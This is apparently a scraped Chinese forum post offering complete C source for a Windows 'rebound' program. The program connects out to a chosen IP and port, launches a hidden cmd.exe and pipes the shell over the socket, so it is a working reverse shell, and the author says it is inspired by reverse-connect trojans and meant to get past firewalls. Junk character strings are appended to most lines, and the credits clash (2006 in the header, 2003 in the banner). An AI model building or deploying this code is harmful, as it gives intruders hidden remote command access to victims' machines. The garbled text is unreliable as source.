这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sitgz)Ki^
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/* ============================== kvN<o-B
Rebound port in Windows NT Xb@dQRVX
By wind,2006/7 +bk+0k9k5
===============================*/ xD9ZL
#include 7[1VFc#tf
#include ybv]wBpM:
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#pragma comment(lib,"wsock32.lib") }O\g<ke:u
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void OutputShell(); j>3Fwg9V
SOCKET sClient; bsc#Oq]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Rw^&;\1
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void main(int argc,char **argv) d*$x|B|V
{ TVVu_ib
WSADATA stWsaData; j:$Z-s
int nRet; 69 J4p=c,
SOCKADDR_IN stSaiClient,stSaiServer; I:WPP'L4o
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if(argc != 3) qE.3:bQ!`
{ S`& yVzv
printf("Useage:\n\rRebound DestIP DestPort\n"); Gh}* <X;N
return; hyY^$p+
} zVis"g`
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WSAStartup(MAKEWORD(2,2),&stWsaData); iV:\,<8d
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bYYjP.rcF
s>=$E~qq
stSaiClient.sin_family = AF_INET; ]dT]25V
stSaiClient.sin_port = htons(0); (`<B#D;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nv3TxG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ch]q:o4
{ <bJ~Ol
printf("Bind Socket Failed!\n"); ]UrlFiR
return; }OSf C~5P
} G+WCE*
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stSaiServer.sin_family = AF_INET; t&-c?&FO\;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g`,(O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D=)qd@,K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '.e5Ku
{ {JM3drnw
printf("Connect Error!"); *7qa]i^]
return; )O\l3h"
} n65fT+;
OutputShell(); JEfhr
} 7o-}86x#
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void OutputShell() KF7d`bRe
{ PAiVUGp5[
char szBuff[1024]; NJKk\RM@7
SECURITY_ATTRIBUTES stSecurityAttributes; akQb%Wq
OSVERSIONINFO stOsversionInfo; V3_qqz}`r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oTA'=<W?D
STARTUPINFO stStartupInfo; lEpPi@2PK
char *szShell;
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PROCESS_INFORMATION stProcessInformation; `Mo%)I<`=
unsigned long lBytesRead; G~NhBA9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xG(:O@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tAb3ejCo?
stSecurityAttributes.lpSecurityDescriptor = 0; O>ZJOKe
stSecurityAttributes.bInheritHandle = TRUE; &<hk&B
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `U;V-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ik0w\*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eoPoGC
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mW)"~sA
stStartupInfo.wShowWindow = SW_HIDE; C|rl",&
stStartupInfo.hStdInput = hReadPipe; 'YEiT#+/
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e co=ia
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GetVersionEx(&stOsversionInfo); l`];CALA4
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switch(stOsversionInfo.dwPlatformId) [ HjGdC
{ =IIE]<z
case 1: C,u;l~zz
szShell = "command.com"; +>v{#A_u
break; 73M;-qnU
default: EKT"pL-EY
szShell = "cmd.exe"; b;I!CyD
break; CjA}-ee
} w2tkJcQ3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vaZ?>94
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send(sClient,szMsg,77,0); a[gN+DX%L
while(1) |nO}YU\E
{ Iq47^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D7$xY\0r
if(lBytesRead) Sq2yQSd
{ iainl@3Qj
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (yz8}L3
send(sClient,szBuff,lBytesRead,0); OZh+x`' #
} < YuI}d~'
else \y/+H
{ W/;qMP1"-
lBytesRead=recv(sClient,szBuff,1024,0); .]Z,O>N
if(lBytesRead<=0) break; $E@ke:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .{]=v
} [g*]u3s
} u"a$/
bRAf!<3
return; NPR{g!tK%
}